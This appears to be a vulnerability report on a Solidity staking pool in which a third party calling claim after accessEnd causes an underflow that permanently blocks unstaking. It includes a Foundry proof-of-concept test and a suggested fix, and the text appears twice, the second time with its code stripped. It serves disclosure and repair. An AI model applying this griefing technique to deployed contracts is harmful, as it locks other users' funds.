Summary
Any address can permanently lock another staker’s remaining funds (for pools with DECAY_RATE < 100) by calling claim after accessEnd. This sets lastClaimed to a timestamp greater than accessEnd, so accessEnd - lastClaimed underflows in both _claimDecay and getStakeInfo. Because unstake always calls _claimDecay first, the stake becomes unwithdrawable.
Impact
Remaining stake can be permanently locked by a third party (griefing).
Location
Reproduction (Foundry)
forge test --match-test test_ClaimAfterAccessEndLocksUnstakeAndGetStakeInfo
Test (in queries-staking/test/QueryTypeStakingPool.t.sol):
function test_ClaimAfterAccessEndLocksUnstakeAndGetStakeInfo() public {
QueryTypeStakingPool poolOnePercent = _deployPool(1);
vm.prank(staker);
stakingToken.approve(address(poolOnePercent), type(uint256).max);
poolOnePercent.setStakingTokenCapacity(type(uint256).max);
vm.prank(staker);
poolOnePercent.stake(100 ether);
QueryTypeStakingPool.StakeInfo memory stakeInfo =
_getStakeInfoFromPool(poolOnePercent, staker);
vm.warp(stakeInfo.accessEnd + 1);
address attacker = makeAddr("attacker");
vm.prank(attacker);
poolOnePercent.claim(staker);
vm.warp(block.timestamp + 1);
vm.expectRevert(stdError.arithmeticError);
poolOnePercent.getStakeInfo(staker);
vm.prank(staker);
vm.expectRevert(stdError.arithmeticError);
poolOnePercent.unstake(1 ether);
}
Suggested fix:
Clamp decay to the access window and prevent lastClaimed from exceeding accessEnd in both getStakeInfo and _claimDecay.
Summary
Any address can permanently lock another staker’s remaining funds (for pools with DECAY_RATE < 100) by calling
claimafteraccessEnd. This setslastClaimedto a timestamp greater thanaccessEnd, soaccessEnd - lastClaimedunderflows in both_claimDecayandgetStakeInfo. Becauseunstakealways calls_claimDecayfirst, the stake becomes unwithdrawable.Impact
Remaining stake can be permanently locked by a third party (griefing).
Location
Reproduction (Foundry)
forge test --match-test test_ClaimAfterAccessEndLocksUnstakeAndGetStakeInfo
Test (in
queries-staking/test/QueryTypeStakingPool.t.sol):Suggested fix:
Clamp decay to the access window and prevent lastClaimed from exceeding accessEnd in both getStakeInfo and _claimDecay.